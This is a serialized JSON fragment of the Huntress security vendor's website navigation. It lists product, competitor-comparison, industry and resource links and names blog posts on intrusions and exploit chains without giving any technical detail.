","https://images.huntress.com/asset/file/f67300556acf4faf8649e87377c04fe1","https://hub.huntress.com/#/page/login","4","gradientBackgroundMarginTop","30%","linkButtonProperties",{"_3224":559,"_104":4004,"_3226":4005},"showLinkButton","solidBackgroundMarginTop","Partner Portal Login","link",[4010,4011,4012],"Why Huntress",{},[93],{"_3813":236,"_56":4114,"_115":4115,"_3226":3424},{"_3813":236,"_56":4075,"_115":4076,"_3226":3424},{"_3813":236,"_56":4013,"_115":4014,"_3226":3216},"Comparisons",[4015],{"_3813":236,"_3818":3191,"_3820":4016,"_3822":4017,"_4018":95,"_3945":4019,"_3986":4019,"_3810":4020},[4027,4028,4029,4030,4031,4032,4033,4034],{"_3273":4023,"_3818":3819,"_4024":95,"_3282":4025,"_3825":236},"lastItemAsFooter","Compare Huntress",{"_102":4019,"_3842":4021,"_196":4022},"Huntress combines enterprise-grade protection with 24/7 human expertise. Don't choose between elite security and great support. Get both with Huntress.","/comparison",{"_3232":97,"_4026":97},"lastItemIsFooter",{"_3232":3997,"_4026":3997},"largeDesktop",{"_3834":4070},{"_3834":4065},{"_3834":4060},{"_3834":4055},{"_3834":4050},{"_3834":4045},{"_3834":4040},{"_3834":4035},{"_4000":4036,"_3226":4037,"_3810":4038},{"_104":4039,"_3226":4005},"Link Button",{"_102":4019,"_3842":4021,"_196":4022},"Compare All",{"_3226":3838,"_3810":4041},{"_102":4042,"_3841":95,"_3842":4043,"_3844":95,"_3845":95,"_196":4044},"Sophos","See why small and midsize businesses choose Huntress Managed EDR over Sophos Intercept X.","/comparison/huntress-vs-sophos",{"_3226":3838,"_3810":4046},{"_102":4047,"_3841":95,"_3842":4048,"_3844":95,"_3845":95,"_196":4049},"SentinelOne","Compare Huntress and SentinelOne on endpoint, identity, and Microsoft 365 security. See why growing businesses and MSP partners choose Huntress instead.","/comparison/huntress-vs-sentinelone",{"_3226":3838,"_3810":4051},{"_102":4052,"_3841":95,"_3842":4053,"_3844":95,"_3845":95,"_196":4054},"Kaseya","Tired of alert fatigue, fragmented tools, and multi-year contracts? See how Huntress outperforms Kaseya with fully managed detection and transparent pricing built for lean IT teams and MSPs.","/comparison/huntress-vs-k365",{"_3226":3838,"_3810":4056},{"_102":4057,"_3841":95,"_3842":4058,"_3844":95,"_3845":95,"_196":4059},"CrowdStrike","See why Service Providers and Small & Medium-Sized businesses choose Huntress over Crowdstrike.","/comparison/huntress-vs-crowdstrike",{"_3226":3838,"_3810":4061},{"_102":4062,"_3841":95,"_3842":4063,"_3844":95,"_3845":95,"_196":4064},"Breach Secure Now","Compare top rated Huntress managed security awareness training vs Breach Secure Now and see why Huntress is the top choice for growing businesses. ","/comparison/huntress-vs-breach-secure-now",{"_3226":3838,"_3810":4066},{"_102":4067,"_3841":95,"_3842":4068,"_3844":95,"_3845":95,"_196":4069},"Blackpoint","See why SMBs choose Huntress Managed EDR over Blackpoint MDR. Start your free trial of Huntress to experience the difference.","/comparison/huntress-vs-blackpoint",{"_3226":3838,"_3810":4071},{"_102":4072,"_3841":95,"_3842":4073,"_3844":95,"_3845":95,"_196":4074},"Bitdefender","Learn why businesses choose Huntress Managed EDR over Bitdefender’s multi-tier platform.","/comparison/huntress-vs-bitdefender","Why Huntress Related Links",[4077],{"_3813":236,"_3818":3191,"_3820":4078,"_3866":3867,"_3824":95,"_3985":95,"_4079":17,"_4080":17,"_3826":4081,"_3986":4075,"_3810":4082},[4085,4086,4087,4088],"reserveHeadingSpace","reserveTitleSpace",{"_3865":236,"_3866":4083,"_3829":4084,"_3869":236},{},"between",{"_3291":95},{"_3834":4108},{"_3834":4101},{"_3834":4096},{"_3834":4089},{"_3226":3838,"_3810":4090},{"_102":4091,"_3842":4092,"_3844":95,"_188":4093,"_3848":4094,"_196":4095},"Community","

Get in touch with the Huntress Community team

","https://images.huntress.com/asset/file/cbab242a68d84eeca207c1414ab79458","https://images.huntress.com/asset/file/844b7ce71a5c4b89b72cb62057cbe3ae","/why-huntress/community",{"_3226":3838,"_3810":4097},{"_102":3664,"_3842":4098,"_3844":95,"_188":4099,"_3848":4100,"_196":3665},"

Learn directly from our partners how Huntress has helped them

","https://images.huntress.com/asset/file/9fddb087804f49f480fdb7ad6e6dd8aa","https://images.huntress.com/asset/file/6b1c451bb0484875a1fb4a641db87d8d",{"_3226":3838,"_3810":4102},{"_102":4103,"_3842":4104,"_3844":95,"_188":4105,"_3848":4106,"_196":4107},"Reviews","

Why businesses of all sizes trust Huntress to defend their assets

","https://images.huntress.com/asset/file/3dca1e2d45844fe18d3447500ac6eedc","https://images.huntress.com/asset/file/f8a3189f38ec42df997892803afac2ae","/why-huntress/reviews",{"_3226":3838,"_3810":4109},{"_102":4110,"_3842":4111,"_3844":95,"_188":4112,"_3848":4113,"_196":3667},"The Huntress SOC","

24/7 Security Operations Center

","https://images.huntress.com/asset/file/0ff3035d72574e228a896b365082d2ff","https://images.huntress.com/asset/file/c6b5baedcd9c4fa68fa1695e950be6e3","Resource Card",[4116],{"_3813":236,"_3818":3191,"_3820":4117,"_3824":95,"_3985":95,"_3826":4118,"_3986":4119,"_3810":4120},[4122],{"_3342":97,"_3829":4121},"Why Huntress Resource Card",{},{"_3831":95,"_3291":95},{"_3834":4123},{"_3908":4124,"_3226":3925,"_3810":4125},{"_3923":3207,"_3998":3240,"_4002":17},{"_102":4007,"_3947":3948,"_3842":4126,"_3844":95,"_188":4127,"_196":4128},"

Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

","https://images.huntress.com/asset/file/627cb459ac894ef98ad1885516698788","/why-huntress",[4133,4134,4135],"linkProperties",{},[93],{"_3813":236,"_56":4243,"_115":4244,"_3226":3424},{"_3813":236,"_56":4164,"_115":4165,"_3226":3424},{"_3813":236,"_56":4136,"_115":4137,"_3226":3216},"The Huntress Blog",[4138],{"_3813":236,"_3818":3191,"_3820":4139,"_3826":4140,"_3945":4136,"_3986":4136,"_3810":4141},[4143,4144,4145],{"_3863":97},{"_102":4136,"_3842":4142,"_196":3653},"Explore all Huntress cybersecurity blog posts for expert insights so you can stay ahead of hackers and boost your cybersecurity savviness. ",{"_3834":4158},{"_3834":4152},{"_3834":4146},{"_3226":3910,"_3810":4147,"_3908":4148},{"_102":4149,"_188":4150,"_3848":-5,"_196":4151},{},"Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant","https://images.huntress.com/asset/file/35f4213723784bf2b6a8eb95acb9ab15","/blog/ahsaycbs-webshells",{"_3226":3910,"_3810":4153,"_3908":4154},{"_102":4155,"_188":4156,"_3848":-5,"_196":4157},{},"N-able Disables Cloud Services Following Disclosure of \"Able2Shell\" Exploit Chains","https://images.huntress.com/asset/file/266936e4b61b4dd6821599adf741b9db","/blog/n-able-disables-cloud-services-following-disclosure-of-able2shell-exploit-chains",{"_3226":3910,"_3810":4159,"_3908":4160},{"_102":4161,"_188":4162,"_3848":-5,"_196":4163},{},"Beyond the clipboard: The evolving tradecraft of ClickFix","https://images.huntress.com/asset/file/f4fa7a7e631749c3b577ac5524769d48","/blog/the-evolving-tradecraft-of-clickfix","Resources & Cybersecurity Education",[4166,4167],{"_3941":95,"_3813":236,"_3818":3191,"_3820":4208,"_3822":4209,"_3824":17,"_3825":3181,"_3826":4210,"_3945":3633,"_3986":3633,"_3810":4211},{"_3941":95,"_3813":236,"_3818":3191,"_3820":4168,"_3822":4169,"_3825":3181,"_3826":4170,"_3945":4171,"_3986":4171,"_3810":4172},[4175,4176,4177,4178,4179,4180],{"_3818":3819,"_3825":3181},{"_3829":4174},"Cybersecurity Education",{"_102":4171,"_3947":3948,"_3842":4173,"_196":3499},"Stop cyberattacks with the Huntress Managed Platform. Get 24/7 SOC-backed EDR, ITDR, SIEM, & Security Awareness Training for enterprise-grade protection across all your environments.",{"_3291":95},{"_3834":4205},{"_3834":4200},{"_3834":4197},{"_3834":4192},{"_3834":4187},{"_3834":4181},{"_3226":3838,"_3810":4182},{"_102":4183,"_3841":95,"_3842":4184,"_3844":95,"_3916":3532,"_3918":95,"_3845":95,"_188":4185,"_196":4186},"2026 Cyber Threat Report","

The threat landscape never stands still…and 2025 was no different.

Cybercrime has become the world’s third-largest economy, with costs expected to reach $12.2 trillion annually by 2031. The Huntress 2026 Cyber Threat Report, shaped by data from over 4M endpoints and 9M identities protected by the Huntress Security Platform, exposes how cybercriminals shifted their strategies, streamlined playbooks, and leveled up tradecraft to blend in better than ever.

That's the world your business operates in now. The 2026 Huntress Cyber Threat Report breaks down how modern threats actually work today, drawn from what we see protecting real organizations every day—not headlines, not hype. Here's what changed, why it matters, and what you can do about it.

Here’s a sneak peek:

","https://images.huntress.com/asset/file/607ff30764f34666bdaf0a81b24140da","/resources/2026-cyber-threat-report",{"_3226":3838,"_3810":4188},{"_102":4189,"_3841":95,"_3842":4190,"_3844":95,"_3845":95,"_196":4191},"Real Tradecraft, Real Results","Behind every neutralized threat at Huntress is our Security Operations team, combining expertise with relentless dedication. Discover the real stories where their tradecraft protects what matters most—your business.","/why-huntress/24-7-soc/tradecraft-stories",{"_3226":3838,"_3810":4193},{"_102":4194,"_3841":95,"_3842":4195,"_3844":95,"_3845":95,"_196":4196},"Threat Actors","Explore Huntress’ threat library with expert-curated profiles detailing threat actor classifications, emergence, affiliations, and attack methods for stronger defense.","/threat-library/threat-actors",{"_3226":3838,"_3810":4198},{"_102":423,"_3841":95,"_3842":4199,"_3844":95,"_3845":95,"_196":422},"The Huntress Threat Library is your expert resource for in-depth insights on vulnerabilities, malware, ransomware, threat actors, and data breaches. Stay ahead with actionable threat intelligence. ",{"_3226":3838,"_3810":4201},{"_102":4202,"_3841":95,"_3842":4203,"_3844":95,"_3845":95,"_196":4204},"Cybersecurity Guides","Access Huntress' in-depth cybersecurity guides on ransomware, phishing, malware, EDR, data breaches, and more. Strengthen your defenses with actionable insights tailored for businesses.","/guides",{"_3226":3838,"_3810":4206},{"_102":3648,"_3841":95,"_3842":4207,"_3844":95,"_3845":95,"_196":3649},"Master cybersecurity 101 fundamentals. Learn how to protect your business from evolving digital threats with our cybersecurity glossary from the experts at Huntress.",[4214,4215,4216,4217,4218,4219],{"_3818":3819,"_3825":3181},{"_3829":4213},{"_102":3633,"_3947":3948,"_3842":4212,"_196":3651},"Cybersecurity is dynamic and ever-changing. Stay up-to-date with the latest resources to help you elevate your security expertise. Watch webinars, download eBooks, and more.",{"_3232":95,"_3291":95},{"_3834":4240},{"_3834":4236},{"_3834":4232},{"_3834":4228},{"_3834":4224},{"_3834":4220},{"_3226":3838,"_3810":4221},{"_102":4222,"_3841":95,"_3844":95,"_3845":95,"_196":4223},"Datasheets","/resources?assetTypes=Datasheet",{"_3226":3838,"_3810":4225},{"_102":4226,"_3841":95,"_3844":95,"_3845":95,"_196":4227},"Whitepapers","/resources?assetTypes=Whitepaper",{"_3226":3838,"_3810":4229},{"_102":4230,"_3841":95,"_3842":4212,"_3844":95,"_3845":95,"_196":4231},"Videos","/resources?assetTypes=Video",{"_3226":3838,"_3810":4233},{"_102":4234,"_3927":559,"_3841":95,"_3842":4173,"_3844":95,"_3845":95,"_196":4235},"On-Demand Virtual Events","/resources?assetTypes=On-Demand+Virtual+Event",{"_3226":3838,"_3810":4237},{"_102":4238,"_3841":95,"_3842":4212,"_3844":95,"_3845":95,"_196":4239},"Ebooks","/resources?assetTypes=Ebook",{"_3226":3838,"_3810":4241},{"_102":3646,"_3841":95,"_3842":4242,"_3844":95,"_3845":95,"_196":3647},"Explore our upcoming events across North American, Australia and New Zealand, and the UK and Ireland - from conferences to Huntress-hosted roadshows and virtual events. ","Community Series",[4245],{"_3941":95,"_3813":236,"_3818":3191,"_3820":4246,"_3611":4247,"_3824":17,"_3826":4248,"_3945":4243,"_3986":4243,"_183":4249,"_3810":4250},[4253,4254,4255,4256],[],{"_3829":4252},{"_193":3499,"_195":196,"_104":4243,"_3226":4251},{"_102":4243,"_3947":3948},"menu",{"_3291":95},{"_3834":4277},{"_3834":4270},{"_3834":4264},{"_3834":4257},{"_3226":3838,"_3810":4258},{"_102":4259,"_3842":4260,"_3844":95,"_188":4261,"_3848":4262,"_196":4263},"_declassified","

Exposing hidden truths in the world of cybersecurity.

","https://images.huntress.com/asset/file/f4d416cb29644950a764cd25117d7a7a","https://images.huntress.com/asset/file/275119d4cb6c4fac9bf246d9db2d3ff6","/declassified",{"_3226":3838,"_3810":4265},{"_102":127,"_3842":4266,"_3844":95,"_188":4267,"_3848":4268,"_196":4269},"

No products, no pitches – just tradecraft.

","https://images.huntress.com/asset/file/27b40a1fa7214684a25262c583f24fdd","https://images.huntress.com/asset/file/b4a784c6ba0d4db4b0b18dc1a233ca7d","/community-series/tradecraft-tuesday",{"_3226":3838,"_3810":4271},{"_102":4272,"_3842":4273,"_3844":95,"_188":4274,"_3848":4275,"_196":4276},"Fireside Chat","

Real people. Real perspectives. Better conversations.

","https://images.huntress.com/asset/file/34936a86a2524615b601b9eed234ff77","https://images.huntress.com/asset/file/2df055d378334e879914706e293b78f8","/community-series/fireside-chat",{"_3226":3838,"_3810":4278},{"_102":4279,"_3842":4280,"_3844":95,"_188":4281,"_3848":4282,"_196":4283},"The Product Lab","

Shape the next big thing in cybersecurity together.

","https://images.huntress.com/asset/file/f15ced11f90c4aeb9e3138349697b4d1","https://images.huntress.com/asset/file/ff7b6015a475460ea93123fb0a749a0a","/community-series/product-lab",[],"Pricing","overrideSourceContent",{"_102":4285,"_3842":4291,"_196":4292},{},"Link",[93],"Huntress pricing for Managed EDR, ITDR, SAT, and SIEM is based on endpoints, identities, learners, and data sources. 24/7 SOC included. Book a demo.","/pricing",[4296,4297,4298],{},[93],{"_3813":236,"_56":4425,"_115":4426,"_3226":3216},{"_3813":236,"_56":4321,"_115":4322,"_3226":3424},{"_3813":236,"_56":4299,"_115":4300,"_3226":3424},"Featured Content",[4301],{"_3813":236,"_3818":3191,"_3820":4302,"_3611":4303,"_3824":95,"_3985":95,"_183":4304,"_3810":-5},[4306],[],{"_3226":4305},"menu with visibility",{"_3834":4307,"_3836":4308},{"_3908":4315,"_3839":95,"_3226":3925,"_3810":4316},{"_3908":4309,"_3839":17,"_3226":3925,"_3810":4310},{"_3923":3207,"_3998":4314,"_4002":17},{"_102":4311,"_3947":3948,"_3842":4312,"_3844":95,"_188":4313,"_196":3781},"Cybercriminals Have Evolved","

Deception is moving at machine speed. Learn to keep pace.

","https://images.huntress.com/asset/file/db3a6c0ed7754ebab11c94c569c043f8","40%",{"_3923":3207,"_3998":3240,"_4002":17},{"_102":4317,"_3927":559,"_3947":4318,"_3842":4319,"_3844":95,"_188":4320,"_196":3781},"A stronger defense starts with better intel","teal","

Deception is moving at machine speed. Learn to keep pace.

","https://images.huntress.com/asset/file/16498691e7a8401fb443eedf5a06e508","Industries & Tailored Solutions",[4323,4324],{"_3941":95,"_3813":236,"_3818":3819,"_3820":4371,"_3822":4372,"_3611":4373,"_3825":3181,"_3826":4374,"_3945":4375,"_3986":4376,"_183":4377,"_3810":4378},{"_3941":95,"_3813":236,"_3818":3819,"_3820":4325,"_3822":4326,"_3611":4327,"_3825":3284,"_3826":4328,"_3945":4329,"_3986":4329,"_183":4330,"_3810":4331},[4339,4340,4341,4342,4343,4344],{"_3273":4337,"_3818":3819,"_3282":4338,"_3825":3284},[],{"_4332":97,"_4333":97,"_3866":4083,"_4334":4335,"_3829":4336},"Tailored Solutions",{"_193":3499,"_195":196,"_104":4329,"_3226":4251},{"_102":4329,"_3947":3948},"alignContent","alignItems","paddingTop","2",{"_3291":95},{"_3232":97},{"_3232":97},{"_3834":4368},{"_3834":4365},{"_3834":4359},{"_3834":4356},{"_3834":4350},{"_3834":4345},{"_3226":3838,"_3810":4346},{"_102":4347,"_3841":95,"_3842":4348,"_3844":95,"_3845":95,"_196":4349},"APIs","Our Integration Partners and Technologies - connecting with your stack to minimize operational overhead.","/platform/integrations",{"_3226":3838,"_3810":4351},{"_102":4352,"_3841":95,"_3842":4353,"_3844":95,"_3845":95,"_188":4354,"_196":4355},"Agentic SOC","See how Huntress uses AI responsibly: Athena, our AI-powered SOC analyst, speeds investigations while human experts in our 24/7 SOC make the critical calls.","https://images.huntress.com/asset/file/1294faf1024240688c4aa60b5aa6a2a5","/platform/ai",{"_3839":17,"_3226":3838,"_3810":4357},{"_102":3699,"_3841":95,"_3842":4358,"_3844":95,"_3845":95,"_196":3700},"Simplify cybersecurity compliance with managed security, log visibility, and reporting support built for lean teams. Huntress helps you strengthen readiness for frameworks like CMMC, HIPAA, PCI, and more.",{"_3226":3838,"_3810":4360},{"_102":4361,"_3841":95,"_3842":4362,"_3844":95,"_3845":95,"_188":4363,"_196":4364},"SMBs","Small businesses face enterprise-grade cyber threats without enterprise security teams. See how Huntress delivers managed endpoint, identity, and 24/7 threat protection.","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/macos-edr-cta","/why-huntress/it-security-teams/mid-sized-businesses",{"_3226":3838,"_3810":4366},{"_102":3670,"_3841":95,"_3842":4367,"_3844":95,"_3845":95,"_196":3671},"75-day sales cycles. 95% renewal rates. 98.9% CSAT. The Huntress Partner Program for Resellers is built to make your security business more profitable. ",{"_3839":17,"_3226":3838,"_3810":4369},{"_102":3977,"_3841":95,"_3842":4370,"_3844":95,"_3845":95,"_196":3673},"Managed security services partner for MSPs. Huntress delivers 24/7 SOC-led managed detection and response across endpoint, identity, and SIEM. Free NFRs.",[4382,4383,4384,4385,4386,4387,4388,4389],{"_3818":3819,"_3825":3181},[],{"_3829":4381},"Industries We Serve","Industries",{"_193":4380,"_195":196,"_104":4376,"_3226":4251},{"_102":4375,"_3947":3948,"_196":4379},"/solutions-by-industry","/industries",{"_3232":95,"_3291":95},{"_3834":4421},{"_3834":4417},{"_3834":4413},{"_3834":4410},{"_3834":4405},{"_3834":4402},{"_3834":4397},{"_3834":4390},{"_4000":4391,"_3839":17,"_3226":4037,"_3810":4392},{"_104":4396,"_3226":4005},{"_102":4393,"_3842":4394,"_188":4395,"_196":4379},"Solutions by Industry","Protect your business, no matter the industry. From eCommerce to healthcare to manufacturing, the Huntress cybersecurity platform secures organizations of every kind. Explore our solutions today!","https://images.huntress.com/asset/file/9df720005de743498214f1e6652e8d3d","View All",{"_3226":3838,"_3810":4398},{"_102":4399,"_3841":95,"_3842":4400,"_3844":95,"_3845":95,"_196":4401},"Utilities","Protect critical infrastructure and energy systems with Huntress. Our cybersecurity solutions for the utilities sector detect and stop ransomware, phishing, and other threats before they can disrupt operations.","/industries/utilities",{"_3226":3838,"_3810":4403},{"_102":3689,"_3841":95,"_3842":4404,"_3844":95,"_3845":95,"_196":3690},"Ransomware, stolen logins, and remote access abuse can halt production. Huntress gives manufacturing cybersecurity solutions backed by 24/7 SOC protection.",{"_3226":3838,"_3810":4406},{"_102":4407,"_3841":95,"_3842":4408,"_3844":95,"_3845":95,"_196":4409},"Law Firms","Safeguard client data and sensitive case files with Huntress. Our cybersecurity solutions for law firms proactively stop ransomware, phishing, and other threats before they jeopardize confidentiality, compliance, or client relationships.","/industries/law-firms",{"_3226":3838,"_3810":4411},{"_102":3691,"_3841":95,"_3842":4412,"_3844":95,"_3845":95,"_196":3692},"Ransomware, phishing, and account takeover can disrupt patient care. Huntress delivers healthcare cybersecurity services backed by a 24/7 SOC.",{"_3226":3838,"_3810":4414},{"_102":4415,"_3841":95,"_3842":4416,"_3844":95,"_3845":95,"_196":3688},"State and Local Government","Cybersecurity solutions for state and local government. Huntress helps lean IT teams and MSPs protect endpoints and identities with 24/7 expert-led security.",{"_3226":3838,"_3810":4418},{"_102":4419,"_3841":95,"_3842":4420,"_3844":95,"_3845":95,"_196":3694},"Financial Services","Protect financial data and customer accounts with Huntress. Our cybersecurity solutions for financial services detect and stop ransomware, phishing, and other threats before they can disrupt operations.",{"_3226":3838,"_3810":4422},{"_102":3695,"_3841":95,"_3842":4423,"_3844":95,"_3845":95,"_188":4424,"_196":3696},"Ransomware, phishing, and account takeover disrupt teaching and learning. Huntress delivers education cybersecurity solutions backed by a 24/7 SOC.","https://images.huntress.com/asset/file/577e32909b704e5ab6e87ccec0003e14","Threats We Stop",[4427],{"_3941":17,"_3813":236,"_3818":3191,"_3820":4428,"_3822":4429,"_4018":95,"_3611":4430,"_3826":4431,"_3945":4425,"_3986":4432,"_183":4433,"_3810":4434},[4437,4438,4439,4440,4441,4442,4443],{"_4024":95},[],{"_3829":4436},"Use Cases",{"_193":3499,"_195":196,"_104":4432,"_3226":4251},{"_102":4425,"_196":4435},"/use-cases",{"_3291":95},{"_3834":4480},{"_3834":4475},{"_3834":4469},{"_3834":4462},{"_3834":4455},{"_3834":4448},{"_3834":4444},{"_4000":4445,"_3226":4037,"_3810":4446},{"_104":4396,"_3226":4005},{"_3842":4447,"_196":4435},"Huntress offers cybersecurity solutions to protect your business from all modern threats, including phishing attacks, business email compromise, and compliance challenges — keeping your operations secure and resilient.",{"_3226":3838,"_3810":4449},{"_102":4450,"_3841":95,"_3842":4451,"_3844":95,"_188":4452,"_3848":4453,"_196":4454},"Initial Access & RaaS","IABs break in. RaaS affiliates cash out. See how the attacker supply chain operates and how Huntress detects suspicious access and attacker staging before it becomes ransomware.","https://images.huntress.com/asset/file/022ae7a78be2482d8b76fd0fd85c598e","https://images.huntress.com/asset/file/01c2bd14d6b941b8948c10cd83df5eaa","/use-cases/initial-access-broker-ransomware-defense",{"_3226":3838,"_3810":4456},{"_102":4457,"_3841":95,"_3842":4458,"_3844":95,"_188":4459,"_3848":4460,"_196":4461},"Living off the Land","Living off the land attacks don't need malware to breach your defenses. Attackers hide in legitimate tools and bypass your security controls. See how Huntress detects and stops the threats other tools miss","https://images.huntress.com/asset/file/4db4aef7c1ea4e5da40903512992eabc","https://images.huntress.com/asset/file/745c78deb0064555924010f14fef0d7f","/use-cases/living-off-the-land",{"_3226":3838,"_3810":4463},{"_102":4464,"_3841":95,"_3842":4465,"_3844":95,"_188":4466,"_3848":4467,"_196":4468},"Infostealers","Stop infostealers before they steal credentials, session tokens, and sensitive business data. Huntress combines managed detection and response with a 24/7 human-led SOC to find, isolate, and stop threats fast.","https://images.huntress.com/asset/file/4763c8fd1d48402f8cbb68399734a16c","https://images.huntress.com/asset/file/a661be78979c43b3b5296e28d314e5bb","/use-cases/infostealers",{"_3226":3838,"_3810":4470},{"_102":1573,"_3841":95,"_3842":4471,"_3844":95,"_188":4472,"_3848":4473,"_196":4474},"Ransomware protection backed by a 24/7 SOC. Huntress detects attacker activity early, isolates hosts, and contains attacks before encryption. ","https://images.huntress.com/asset/file/08b433fa08ac4e89a73dc37c28513bdf","https://images.huntress.com/asset/file/4901fd6220b84845bacd532e13ac8d94","/use-cases/ransomware",{"_3226":3838,"_3810":4476},{"_102":3697,"_3841":95,"_3842":4477,"_3844":95,"_188":4478,"_3848":4479,"_196":3698},"Prevent business email compromise with 24/7 identity monitoring and SOC-backed response. Huntress helps detect account takeover, suspicious activity, and email-based threats before attackers can cause financial damage.","https://images.huntress.com/asset/file/b9a5513cc47b4ca6aa833d798751391a","https://images.huntress.com/asset/file/b8738341c4374015beb856c2081e0a4a",{"_3226":3838,"_3810":4481},{"_102":3701,"_3841":95,"_3842":4482,"_3844":95,"_188":4483,"_3848":4484,"_196":3702},"Prevent phishing attacks before they lead to compromised accounts and business disruption. Huntress protects identities and endpoints while helping your team build stronger security habits through awareness and response.","https://images.huntress.com/asset/file/7e00219348d34773bbc54d71e6109727","https://images.huntress.com/asset/file/5b664e28b4fa4c68b49e4fa8ef267959",[4489,4490],{},"Products",[93],{"_3813":3181,"_56":3727,"_115":4505,"_3226":3424},{"_3813":236,"_56":4299,"_115":4491,"_3226":3424},[4492],{"_3813":236,"_3818":3191,"_3820":4493,"_3611":4494,"_3824":95,"_3985":95,"_4080":17,"_183":4495,"_3810":-5},[4496],[],{"_3226":4305},{"_3834":4497},{"_3908":4498,"_3226":3925,"_3810":4499},{"_3923":3207,"_4000":4504,"_4002":95},{"_102":4500,"_3842":4501,"_3844":95,"_188":4502,"_3848":4503,"_196":101},"See Huntress in Action","

Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

","https://images.huntress.com/asset/file/51a8e99c510142ed9fbe3e6726a87f33","https://images.huntress.com/asset/file/57f70ae5eece4a20ae40061a73e10d74",{"_104":99,"_3226":3491},[4506,4507],{"_3813":3181,"_3818":3191,"_3820":4530,"_3822":4531,"_3611":4532,"_4533":4534,"_4535":4536,"_3825":3181,"_3826":4537,"_3945":4538,"_3810":4539,"_183":4540},{"_3813":3181,"_3818":3819,"_3820":4508,"_3866":3867,"_4509":3867,"_3611":4510,"_3824":95,"_3985":95,"_4079":17,"_4080":17,"_3825":3419,"_3826":4511,"_3945":4512,"_183":4513,"_3810":-5},[4515,4516],"justifyContentVertically",[],{"_3866":3867,"_3829":4514},"Integrations & Support Documentation",{"_3226":4305},{"_3291":95},{"_3834":4523,"_3836":4524},{"_3834":4517,"_3836":4518},{"_3226":3838,"_3810":4520},{"_3226":3838,"_3839":17,"_3810":4519},{"_102":3641,"_3841":95,"_3844":95,"_3845":95},{"_102":3641,"_3841":95,"_3844":95,"_188":4521,"_3848":4522,"_196":3645,"_3643":3644,"_301":95,"_3754":95,"_3755":95},"https://images.huntress.com/asset/file/2be73561192d447f878667d454833863","https://images.huntress.com/asset/file/2840849540844ce683029fb930eee0bb",{"_3226":3838,"_3810":4527},{"_3226":3838,"_3839":-7,"_3810":4525},{"_102":4526,"_3841":95,"_3842":4348,"_3844":95,"_3845":95,"_196":4349},"Integrations",{"_102":4528,"_3841":95,"_3842":4348,"_3844":95,"_188":3967,"_3848":4529,"_196":4349},"API and Integrations","https://images.huntress.com/asset/file/21c6d28452314ddc8319eff3821a1d58",[4544,4545,4546,4547,4548,4549,4550,4551],{"_3818":3819,"_3825":3181},[],"rowGapWidthDesktop","8","rowGapWidthLargeDesktop","10",{"_3863":3864,"_3865":236,"_3866":3867,"_3829":4542,"_3869":236},"Platform Overview",{"_102":4538,"_3842":4541,"_196":3728},{"_193":3728,"_195":196,"_3643":3487,"_104":4538,"_3226":4251},"Cyber threats don't stop. Neither do we. Huntress gives you managed EDR, ITDR, ISPM, ESPM, SIEM, and SAT — all backed by a 24/7 SOC. No complexity.",{"_3232":95,"_4543":17,"_3291":95},"hideSeparatorLineDesktop",{"_3834":4587},{"_3834":4582},{"_3834":4577},{"_3834":4572},{"_3834":4567},{"_3834":4562},{"_3834":4557},{"_3834":4552},{"_3226":3838,"_3810":4553},{"_102":3023,"_3842":4554,"_188":4555,"_3848":4556,"_196":3717},"

Proactively secure endpoints against attacks.

","https://images.huntress.com/asset/file/40107527fc014715aadbe5e6f4b55d11","https://images.huntress.com/asset/file/a6a17318faaf46248514de2cdf660379",{"_3226":3838,"_3810":4558},{"_102":2367,"_3842":4559,"_188":4560,"_3848":4561,"_196":3718},"

Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

","https://images.huntress.com/asset/file/96fd92518985400188885d6d49f113d1","https://images.huntress.com/asset/file/9915b6a0e37d46c2b811cedeb2e5d8ab",{"_3226":3838,"_3810":4563},{"_102":464,"_3842":4564,"_188":4565,"_3848":4566,"_196":3719},"

Empower your teams with science-backed security awareness training.

","https://images.huntress.com/asset/file/83455b8013984422848df5d1829bc1e5","https://images.huntress.com/asset/file/28ae14cce8d74ddea226dc33fc5c19cd",{"_3226":3838,"_3810":4568},{"_102":466,"_3842":4569,"_188":4570,"_3848":4571,"_196":3720},"

Managed threat response and robust compliance support at a predictable price.

","https://images.huntress.com/asset/file/8feb54a3643a4a168a470f2842909fcd","https://images.huntress.com/asset/file/ff13d278f74e4cddb9a2740f923bd78f",{"_3226":3838,"_3810":4573},{"_102":468,"_3842":4574,"_188":4575,"_3848":4576,"_196":3721},"

Protect your Microsoft 365 and Google Workspace identities and email environments.

","https://images.huntress.com/asset/file/ea4f7d39c8dc4791b042afe265917451","https://images.huntress.com/asset/file/af70f6fa3f024a4b9690d2904927981c",{"_3226":3838,"_3810":4578},{"_102":470,"_3842":4579,"_188":4580,"_3848":4581,"_196":3726},"

Get full endpoint visibility, detection, and response.

","https://images.huntress.com/asset/file/23f6507216a943ae95105a31f80f52c8","https://images.huntress.com/asset/file/ffd5efb682d94d06be823a2566e50dbf",{"_3226":3838,"_3810":4583},{"_102":4584,"_3842":4585,"_188":4354,"_3848":4586,"_196":4355},"Athena Engine","

The agentic AI that investigates every alert alongside our SOC analysts.

","https://images.huntress.com/asset/file/4835027ffe2b4ae98114e4c6bf554660",{"_3226":3838,"_3810":4588},{"_102":1136,"_3842":4589,"_188":4590,"_3848":4590,"_196":3728},"

One managed platform across endpoint integrity, identity resilience, and operational readiness.

","https://images.huntress.com/asset/file/e4941249d34f4ac5bdd7894bd92142db"]